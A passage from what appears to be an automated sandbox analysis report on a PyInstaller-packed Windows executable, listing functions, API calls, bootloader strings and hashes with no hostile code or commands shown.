Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction ID: 599a62b5aa2e578da32bb14563ad975de4f9c5d34eedb2e8da3037ad89be6239
Opcode Fuzzy Hash: ce0c3b3fbf9f468b37350500bd40f597e2424e9246c9b6d769e6af97d5ebe549
Instruction Fuzzy Hash: C4D11372B0CAA1D9E710EF79D4402AD37BAFB45B98B144236CE5E97B99DE38D406C340

Function 00007FF6404E2030 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6404E2064
SetWindowLongPtrW.USER32 ref: 00007FF6404E2086
GetWindowLongPtrW.USER32 ref: 00007FF6404E20B0
InvalidateRect.USER32 ref: 00007FF6404E20D0

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction ID: 4e1a192d0076a52cf4575ebaa225ae3dffb7ad558b6d2708bffdfd4671950fe0
Opcode Fuzzy Hash: 4b9e5de1fbcf843bc779a4d54dee57f94c26a540a6e6e96758728fc1cf1e39ca
Instruction Fuzzy Hash: 8F11A531E1C16292FA58FB6AE6842BD1292EF89B90F948031DB5987FDACD3DD5C18740

Function 00007FF640504E2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF640500A70: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640500AA3

_get_daylight.LIBCMT ref: 00007FF640504F44
_get_daylight.LIBCMT ref: 00007FF640504F55

Strings

?, xrefs: 00007FF640504ED5

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction ID: 7d97436e2cdf763460f67447f8a9ec2903ea4407e4eaf198c9c52247051e6810
Opcode Fuzzy Hash: 90ec7c2969ce35aee26a67d6175707cb0f81e8cc9ba484ad9fb4d69d3ee99291
Instruction Fuzzy Hash: 3A413E62A0C3A265F728BB25D60137E5755EF827A8F104235EE6C86BD6DF3CD441CB00

Function 00007FF6404F832C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F835E

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6404EBEC5), ref: 00007FF6404F837C

Strings

C:\Users\user\Desktop\rename_me_before.exe, xrefs: 00007FF6404F836A

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\rename_me_before.exe
API String ID: 3580290477-100362983
Opcode ID: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction ID: 0d5b3cdb9dd6dd4a0d6acaf5750bde0d4d7acd2cc4dcc607e8aefcf81ecb72f2
Opcode Fuzzy Hash: ddc46de6380418fe35fca5e4aa859368a8c2113199f78edf785cf6db79d8d493
Instruction Fuzzy Hash: 51418132A0CB62E5E718FF25A5810BC379AEF457A4B554039EE5D87B95DE3CE4818700

Function 00007FF6404FF8E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FF916

Part of subcall function 00007FF6404FE8C8: GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE908

Strings

., xrefs: 00007FF6404FF967
:, xrefs: 00007FF6404FF956

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentDirectory_invalid_parameter_noinfo
String ID: .$:
API String ID: 2020911589-4202072812
Opcode ID: 75108fa0d8fcfebdf0f3dc79d92ab90926721088542d1c76d0744241c3be7838
Instruction ID: dcd28da8715499e852ed36772311ef6bc3a9062e7d6a0b07aae994aa9edb250e
Opcode Fuzzy Hash: 75108fa0d8fcfebdf0f3dc79d92ab90926721088542d1c76d0744241c3be7838
Instruction Fuzzy Hash: 84417E62F0C762E9FB10FBB198506FC26BAAF54758F540035DE4DA7B89DF78A4429320

Function 00007FF6404FBF48 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6404FC05F
GetLastError.KERNEL32 ref: 00007FF6404FC081

Strings

U, xrefs: 00007FF6404FC00B

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction ID: 8b8d4b9416c589f260b880531aaf5e651441b8178d234a713b01115a6015ebe5
Opcode Fuzzy Hash: 0b7df1583adeec31525a7cba2b12c3ee68d62bc9877546cbea7757f0bce6ed29
Instruction Fuzzy Hash: F041B122A1CAA5D6EB20EF65E8443AA6765FB88794F804131EE4DC7788DF3CD441CB40

Function 00007FF6404FE8C8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE908
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6404FE95A

Strings

:, xrefs: 00007FF6404FE91E

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 42aabba90d01c53827fde20447a69e74228e2fd19b34bc9bc36161037011c97c
Instruction ID: 265fd425774259fe4c10bacb84e146b6f2c0bc7eed03276dbc83b9e05cfd5995
Opcode Fuzzy Hash: 42aabba90d01c53827fde20447a69e74228e2fd19b34bc9bc36161037011c97c
Instruction Fuzzy Hash: D621D572B0C691D1EB64BB16D04467E73A6FB84B84F854035DA8C83384CFBCDA45C751

Function 00007FF6404EF068 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF6404EF0B8
RaiseException.KERNEL32 ref: 00007FF6404EF0F9

Strings

csm, xrefs: 00007FF6404EF0E6

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: d5508817ca1574cb3cdebf1fea9f4d7507e4a5c8921daac632a5552b477f6921
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: 0E11793660CB8182EB21AB14E440269B7E0FB88B88F188230DA8C47769DF3CC5518B00

Function 00007FF6404FFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF6404FFABC

Strings

:, xrefs: 00007FF6404FFAA5

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: 512d6b907b4660450709611d994324b7190bfa6b4bc0ead6391dc0269b747c2a
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: F9017822E1C666E6FB24BFA0A46127E22A5EF88708F840036D94DC6791DE6CE544DB24

Analysis Process: rename_me_before.exePID: 3512, Parent PID: 1396COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	23

Executed Functions

Function 00007FF6404E1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6404E3820
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6404E3905
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6404E378C
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6404E3653
_MEIPASS2, xrefs: 00007FF6404E36A2, 00007FF6404E36AE, 00007FF6404E39AC
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF6404E3A31
MEI, xrefs: 00007FF6404E374E
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6404E391A
Could not create temporary directory!, xrefs: 00007FF6404E3838
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6404E36FC
pyi-runtime-tmpdir, xrefs: 00007FF6404E35D3
Failed to start splash screen!, xrefs: 00007FF6404E3933
pyi-contents-directory, xrefs: 00007FF6404E35F8
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF6404E3A12
pyi-disable-windowed-traceback, xrefs: 00007FF6404E361D
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6404E37EF
Failed to convert DLL search path!, xrefs: 00007FF6404E38A3
pkg, xrefs: 00007FF6404E37CF

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: 2a3628e5ef8489efe408e1403b5f8cd9dc2db04713c58d7f66d9dac8dcced320
Instruction ID: b41771169caa7e53486d63186ad72cddfcc7f537cb3ea71f10036f4f1d67ffa6
Opcode Fuzzy Hash: 2a3628e5ef8489efe408e1403b5f8cd9dc2db04713c58d7f66d9dac8dcced320
Instruction Fuzzy Hash: FEF17B61A0C6A2F1FA1AFB21D5582FD62A1EF95784F844032DA5DC37D6EF2CE558C380

Function 00007FF640505C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405059E9
Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640505A67
Part of subcall function 00007FF6405059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF640505AB8

CreateFileW.KERNELBASE ref: 00007FF640505D7A
CreateFileW.KERNEL32 ref: 00007FF640505DCA
GetLastError.KERNEL32 ref: 00007FF640505DFA
GetFileType.KERNELBASE ref: 00007FF640505E0F
GetLastError.KERNEL32 ref: 00007FF640505E19
CloseHandle.KERNEL32 ref: 00007FF640505E4C
CloseHandle.KERNEL32 ref: 00007FF640505FAF
CreateFileW.KERNEL32 ref: 00007FF640505FE4
GetLastError.KERNEL32 ref: 00007FF640505FF3

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 96457cfd391f5a6e961bd355bdc95e6a6cce5f6f06dd05e2cbaebf67e8b3e16c
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 0BC1DF32B2CA5296EB14FF68C5906AD3765FB8AB98B010235DF2E97794CF38E551C300

Function 00007FF6404E85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6404E85D3
FindClose.KERNELBASE ref: 00007FF6404E85E2

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 5fe66202e177d99c7f807aff829b301774400ae6d1a0f4e7f2fd14126836dceb
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 45F0A432A1C652D6FB70FB60B59836A7350EB44328F040239D96D427D4CF7CD058CB00

Function 00007FF6404E18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6404E76A0: _fread_nolock.LIBCMT ref: 00007FF6404E774A

_fread_nolock.LIBCMT ref: 00007FF6404E19B4

Part of subcall function 00007FF6404E2760: MessageBoxW.USER32 ref: 00007FF6404E283B

Strings

fseek, xrefs: 00007FF6404E1990
Failed to seek to cookie position!, xrefs: 00007FF6404E1989
calloc, xrefs: 00007FF6404E19F5
Could not read full TOC!, xrefs: 00007FF6404E1AD4
Could not allocate buffer for TOC!, xrefs: 00007FF6404E1AA1
Error on file., xrefs: 00007FF6404E1B0A
Failed to read cookie!, xrefs: 00007FF6404E19BF
fread, xrefs: 00007FF6404E19C6, 00007FF6404E1ADB
malloc, xrefs: 00007FF6404E1AA8
MEI, xrefs: 00007FF6404E1931
Could not allocate memory for archive structure!, xrefs: 00007FF6404E19EE

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: 47a0cc69fe61a424f4972c633dfe31ec108281a37c3b7613119bd6498f8acb77
Instruction ID: 6bbb6f01bdc374e6d4f218129cfe3cf7c1562051f67e955ab5da4f0e7476a31b
Opcode Fuzzy Hash: 47a0cc69fe61a424f4972c633dfe31ec108281a37c3b7613119bd6498f8acb77
Instruction Fuzzy Hash: 2671C231B1C6A6E9EB24FB24D5902BD2390FF89784F444035D98DC77AAEE6CE5448B80

Function 00007FF6404E1440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E159A
fseek, xrefs: 00007FF6404E14B0
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6404E14D9
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E14A9
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E146F
fread, xrefs: 00007FF6404E15A1
malloc, xrefs: 00007FF6404E14E0

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 32997523cec49d72c5576cc17cb243c2ce74323f184c21c719246cd1ab96f7c6
Instruction ID: 455708967c697a7a751e8e5b98a73296f6f9c874213de976e6b7dfda8cda0fd9
Opcode Fuzzy Hash: 32997523cec49d72c5576cc17cb243c2ce74323f184c21c719246cd1ab96f7c6
Instruction Fuzzy Hash: 8341BF32B4C663E2FA24FB15A9405BA63A0FF84BD4F444432DE5E87BA5EE3CE5418740

Function 00007FF6404E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

1.3.1, xrefs: 00007FF6404E1229
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6404E12C3
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6404E1256
malloc, xrefs: 00007FF6404E129C, 00007FF6404E12CA
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6404E1295
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6404E13EE

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 86bef0d86d3d5020898d8012f61f6e4267f785464e2bead425cceb05c7e2cebb
Instruction ID: 235a19356c93ce3a42da2f38b45c00a33ccb645bdc8f96a1bfa84f363406d5ea
Opcode Fuzzy Hash: 86bef0d86d3d5020898d8012f61f6e4267f785464e2bead425cceb05c7e2cebb
Instruction Fuzzy Hash: 2A51E172A0C662E1FA20FB15A9403BA6291FB85794F440135EE5DC7BE6EF3CE541C780

Function 00007FF6404FAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FB199

Memory Dump Source

Source File: 00000001.00000002.1981599946.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000001.00000002.1981561933.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981666255.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981734296.00007FF640523000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1981825972.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
